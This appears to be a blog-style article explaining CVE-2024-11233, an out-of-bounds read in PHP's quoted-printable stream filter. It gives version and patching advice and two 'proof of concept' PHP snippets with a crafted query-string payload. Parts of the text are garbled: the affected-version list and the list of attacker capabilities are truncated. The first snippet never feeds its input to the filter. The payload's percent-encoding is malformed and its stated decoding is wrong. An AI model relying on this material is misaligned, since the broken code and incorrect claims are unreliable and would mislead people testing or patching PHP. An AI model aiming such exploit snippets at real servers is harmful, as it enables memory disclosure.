If you run any code on PHP 8.1, 8.2, or early 8.3 versions, you should know about CVE-2024-11233—a subtle, yet extremely important security bug involving the convert.quoted-printable-decode stream filter. In this article, we’ll break down how this vulnerability works, what risks it brings, and show you how an attacker could try to exploit it—with code, plain-English explanations, and links to official sources.

8.3.x before 8.3.14.

It involves the convert.quoted-printable-decode stream filter, which is used to decode data encoded in the “quoted-printable” format (commonly used for email).

In short, bad input can cause PHP to read one byte past the end of a memory buffer. Sometimes this just crashes PHP, but in some circumstances, it can leak information from random memory areas (potentially sensitive data, keys, or secrets).

Why is It Dangerous?

Reading "just one byte too far" might not sound like a big deal, but in memory-safe programming, every single byte counts—especially in languages like C, which PHP is written in. That single extra byte might contain another user's data, environment variables, or even partial secret keys.

If a PHP application decodes user-provided email or text using this vulnerable filter, an attacker may be able to:

Example: Exploiting the Vulnerability

Let's build a "proof of concept" that could trigger the flaw. Imagine you have a PHP script like this:

<?php
// PHP must be running an affected version!
$data = $_GET['qp'] ?? '';
// Decodes quoted-printable input
$decoded = stream_get_contents(
    stream_filter_append(
        fopen('php://memory', 'rb+'),
        'convert.quoted-printable-decode',
        STREAM_FILTER_WRITE
    )
);
// For demo purposes, let's echo it
echo htmlspecialchars($decoded, ENT_QUOTES, 'UTF-8');
?>

Suppose an attacker crafts a special qp input that has a trailing = sign, with just the right length and padding to cause PHP to read past the buffer.

You might pass a string like

qp=%41%A%3D

Which is equal to: A\n=

The exact payload may depend on internal memory layouts (and may crash PHP instead of leaking memory), but the logic is: *feed the decoder a string ending with an incomplete quoted-printable sequence so it tries to read more than what is allocated*.

What Happens Internally?

Looking at the PHP source, a missing boundary check causes the quoted-printable decoder to read one byte past the buffer when it encounters an incomplete escape at the end. This is described in the official PHP bug report:
PHP Bug #82014: Fix out-of-bound read in quoted_printable_decode_stream_filter()

Before the fix, the code did not verify that there actually *was* data after the =. Under some usage patterns, it tries to read even when there’s nothing left, leading to an overread.

- PHP's official security changelog: PHP 8.1.31 Release Notes
- PHP Bug #82014 – GitHub Pull Request “Fix out-of-bound read”
- Original CVE Record from NVD

How do you know if you’re at risk?

- You use PHP ≥8.1. and <8.1.31 (or similarly affected 8.2/8.3)
- Your code uses convert.quoted-printable-decode with user-controlled input (parsing emails, contact forms, file uploads, etc)

To fix it:
*Update PHP to 8.1.31, 8.2.26, or 8.3.14 (or later).* That’s it.

If you cannot update, avoid using the vulnerable stream filter with untrusted input. Consider using alternate quoted-printable decoding libraries written in PHP itself that do not use native stream filters, though PHP's built-in function is normally fastest.

Conceptual Exploit Demo

Due to memory randomness, a simple “local exploit” might just crash PHP, but let’s sketch out what an information leak attempt might look like for a researcher:

<?php
// Trivial information leak PoC, for research only!
ini_set('display_errors', 1);

$payload = "Hello,=4"; // incomplete at the end
file_put_contents('php://memory', $payload);
$fp = fopen('php://memory', 'rb+');
fwrite($fp, $payload);
rewind($fp);

// Apply the vulnerable filter
stream_filter_append($fp, 'convert.quoted-printable-decode', STREAM_FILTER_READ);
var_dump(stream_get_contents($fp)); // May crash or leak data from memory!

Caution: This code may crash the PHP process, or in rare circumstances dump a byte from neighboring memory at the end of the decoded output.

*The only true fix is to update PHP.*

If you maintain PHP servers—especially webmail, CMS, or anything parsing complex input—patch ASAP.


Have questions, or want to see more technical details?
Check the GitHub fix PR and NVD CVE entry for raw details.

Timeline

Published on: 11/24/2024 02:15:16 UTC
Last modified on: 11/26/2024 18:26:37 UTC